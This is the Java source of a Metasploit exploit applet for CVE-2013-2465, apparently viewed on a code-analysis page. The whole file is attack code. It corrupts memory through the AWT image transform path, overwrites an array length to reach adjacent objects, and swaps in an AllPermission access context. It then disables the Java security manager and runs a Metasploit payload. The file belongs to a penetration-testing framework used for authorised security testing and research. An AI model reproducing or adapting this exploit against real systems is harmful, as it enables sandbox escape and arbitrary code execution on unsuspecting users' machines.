rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2013-2465/Exploit.java

Summary

Maintainability
C
7 hrs
Test Coverage
import java.awt.image.*;
import java.awt.color.*;
import java.beans.Statement;
import java.security.*;
import metasploit.Payload;
import java.applet.Applet;

public class Exploit extends Applet {

    public void init() {

        try {

            // try several attempts to exploit
            for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
                //System.out.println("Attempt #" + i);        
                tryExpl();        
            }

            // check results
            if (System.getSecurityManager() == null) {
                // execute payload
                //Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
                Payload.main(null);
            }        
                    
        } catch (Exception ex) {
            //ex.printStackTrace();
        }
    }
    
    public static String toHex(int i)
    {
        return Integer.toHexString(i);
    }
      
    private boolean _is64  = System.getProperty("os.arch","").contains("64");
   
    // we will need ColorSpace which returns 1 from getNumComponents()
    class MyColorSpace extends ICC_ColorSpace
    {           
        public MyColorSpace()
        {           
            super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
        }
        
        // override getNumComponents
        public int getNumComponents()
        {
            int res = 1;
            return res;
        }    
    } 
    
    // we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true. 
    class MyColorModel extends ComponentColorModel
    {   
        public MyColorModel()
        {
            super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
        }
        
        // override isCompatibleRaster
        public boolean isCompatibleRaster(Raster r)
        {
            boolean res = true;
            return res;
        }
    }
        
        
    private int tryExpl() 
    {                                      
        try {
            // alloc aux vars
            String name = "setSecurityManager";
            Object[] o1 = new Object[1];
            Object o2 = new Statement(System.class, name, o1); // make a dummy call for init

            // allocate byte buffer for destination Raster.
            DataBufferByte dst = new DataBufferByte(16); 
            
            // allocate the target array right after dst
            int[] a = new int[8];
            // allocate an object array right after a[]
            Object[] oo = new Object[7];

            // create Statement with the restricted AccessControlContext
            oo[2] = new Statement(System.class, name, o1);

            // create powerful AccessControlContext
            Permissions ps = new Permissions();
            ps.add(new AllPermission());    
            oo[3] = new AccessControlContext(
                new ProtectionDomain[]{
                    new ProtectionDomain(
                        new CodeSource(
                            new java.net.URL("file:///"), 
                            new java.security.cert.Certificate[0] 
                        ),
                        ps
                    )
                }
            );
            
            // store System.class pointer in oo[]
            oo[4] = ((Statement)oo[2]).getTarget();    

            // save old a.length
            int oldLen = a.length;
            //System.out.println("a.length = 0x" + toHex(oldLen));
            
            // create regular source image
            BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB); 
            
            // prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
            MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
            // create malformed destination image based on dst[] data
            WritableRaster wr = Raster.createWritableRaster(sm, dst, null);                      
            BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
        
            // prepare first pixel which will overwrite a.length
            bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});            
            
            // call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
            AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
            op.filter(bi1, bi2);         
            
            // check results: a.length should be overwritten by 0xFFFFFFFF
            int len = a.length;
            //System.out.println("a.length = 0x" + toHex(len)); 
            if (len == oldLen) { 
                // check a[] content corruption // for RnD
                for(int i=0; i < len; i++) { 
                    if (a[i] != 0) { 
                        //System.out.println("a["+i+"] = 0x" + toHex(a[i]));
                    }
                }  
                // exit
                //System.out.println("error 1"); 
                return 1; 
            }
            
            // ok, now we can read/write outside the real a[] storage,
            // lets find our Statement object and replace its private "acc" field value
            
            // search for oo[] after a[oldLen]
            boolean found = false;
            int ooLen = oo.length;
            for(int i=oldLen+2; i < oldLen+32; i++)
                if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
                 && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0   // oo[2,3,4] != null    
                 && a[i+5]==0 && a[i+6]==0)               // oo[5,6] == null
                {
                    // read pointer from oo[4]
                    int stmTrg = a[i+4];
                    // search for the Statement.target field behind oo[]
                    for(int j=i+7; j < i+7+64; j++){
                        if (a[j] == stmTrg) {
                            // overwrite default Statement.acc by oo[3] ("AllPermission")
                            a[j-1] = a[i+3];
                            found = true;
                            break;
                        }
                    }
                    if (found) break;
                }

            // check results 
            if (!found) {
                // print the memory dump on error // for RnD
                String s = "a["+oldLen+"...] = ";
                for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
                //System.out.println(s);
            } else try {

                // call System.setSecurityManager(null)
                ((Statement)oo[2]).execute();    

                // show results: SecurityManager should be null
            } catch (Exception ex) {
                //ex.printStackTrace();
            } 
            
            //System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
               
        } catch (Exception ex) {
            //ex.printStackTrace();
        }    
        
        return 0;
    }

}